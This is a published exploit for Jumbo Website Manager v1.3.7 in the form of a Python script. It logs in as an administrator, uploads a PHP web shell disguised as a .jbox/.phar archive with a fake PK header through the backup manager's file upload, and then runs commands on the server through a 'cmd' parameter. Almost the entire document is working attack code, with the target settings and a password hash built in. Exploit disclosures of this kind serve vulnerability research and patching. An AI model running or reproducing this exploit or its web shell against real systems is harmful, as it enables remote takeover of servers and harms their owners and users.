📄 Jumbo Website Manager Shell Upload

#Exploit Title: Jumbo Website Manager  - Remote Code Execution 
    #Application: Jumbo Website Manager
    #Version: v1.3.7
    #Bugs:  RCE
    #Technology: PHP
    #Vendor URL: https://sourceforge.net/projects/jumbo/
    #Software Link: https://sourceforge.net/projects/jumbo/
    #Date of found: 28.10.2025
    #Author: Mirabbas Ağalarov
    #Tested on: Linux 
    
    
    import requests
    from typing import Tuple, Optional
    
    class JumboCMSExploit:
        def __init__(self, base_url: str = "http://localhost"):
            self.base_url = base_url
            self.session = requests.Session()
            
        def login(self, username: str, password: str) -> bool:
            """
            Login to Jumbo CMS
            
            Args:
                username: Username
                password: Password (already hashed)
                
            Returns:
                True if login successful, False otherwise
            """
            print(f"[*] Attempting login as: {username}")
            
            url = f"{self.base_url}/jumbo_files/jumbo/p_login.php"
            
            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
                "Content-Type": "application/x-www-form-urlencoded",
                "Origin": self.base_url,
                "Referer": f"{self.base_url}/jumbo_files/jumbo/loginpage.php",
            }
            
            data = {
                "username": username,
                "password": password
            }
            
            response = self.session.post(url, headers=headers, data=data, allow_redirects=False)
            
            if response.status_code in [200, 302]:
                print(f"[+] Login successful! Status: {response.status_code}")
                print(f"[+] Cookies: {self.session.cookies.get_dict()}")
                return True
            else:
                print(f"[-] Login failed! Status: {response.status_code}")
                return False
        
        def upload_file(self, filename: str, content: bytes) -> Tuple[bool, str]:
            """
            Upload a file to the backup manager
            
            Args:
                filename: Name of file to upload (e.g., test.phar)
                content: Binary content of the file
                
            Returns:
                Tuple of (success, response_text)
            """
            print(f"[*] Uploading file: {filename}")
            
            url = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/php.php"
            
            params = {"qqfile": filename}
            
            # Disguise .phar as .jbox
            display_name = filename.replace('.phar', '.jbox')
            
            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0",
                "Accept": "*/*",
                "X-Requested-With": "XMLHttpRequest",
                "X-File-Name": display_name,
                "Content-Type": "application/octet-stream",
                "Origin": self.base_url,
                "Referer": f"{self.base_url}/jumbo_files/jumbo/backupmanager/loadbackup.php",
            }
            
            response = self.session.post(url, params=params, headers=headers, data=content)
            
            if response.status_code == 200:
                print(f"[+] Upload successful!")
                print(f"[+] Response: {response.text}")
                return True, response.text
            else:
                print(f"[-] Upload failed! Status: {response.status_code}")
                return False, response.text
        
        def exploit(self, username: str, password: str, filename: str, php_code: str) -> bool:
            """
            Complete exploit: Login + Upload
            
            Args:
                username: Login username
                password: Login password (hashed)
                filename: Filename to upload
                php_code: PHP code to execute
                
            Returns:
                True if exploit successful
            """
            # Step 1: Login
            if not self.login(username, password):
                print("[-] Exploit failed at login stage")
                return False
            
            # Step 2: Create malicious file content
            # PK header to disguise as archive
            file_content = b'PK\x03\x04\x0a\x00\x00\x00\x00\x00' + php_code.encode()
            
            # Step 3: Upload
            success, response = self.upload_file(filename, file_content)
            
            if success:
                print("\n[+] Exploit completed successfully!")
                uploaded_path = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/uploads/backup.phar?cmd=whoami"
                print(f"[+] File possibly uploaded to: {uploaded_path}")
                return True
            else:
                print("[-] Exploit failed at upload stage")
                return False
    
    
    if __name__ == "__main__":
        print("="*70)
        print("Jumbo CMS Authenticated RCE via File Upload Exploit")
        print("="*70)
        print()
        
        # Configuration
        TARGET = "http://localhost"
        USERNAME = "admin"
        PASSWORD = "6f7303f028531527b2da3620ccaf25ee384ae7db"  
        FILENAME = "test123.phar"
        PHP_CODE = '<?php echo system($_GET["cmd"]);?>'
        
        # Run exploit
        exploit = JumboCMSExploit(TARGET)
        exploit.exploit(USERNAME, PASSWORD, FILENAME, PHP_CODE)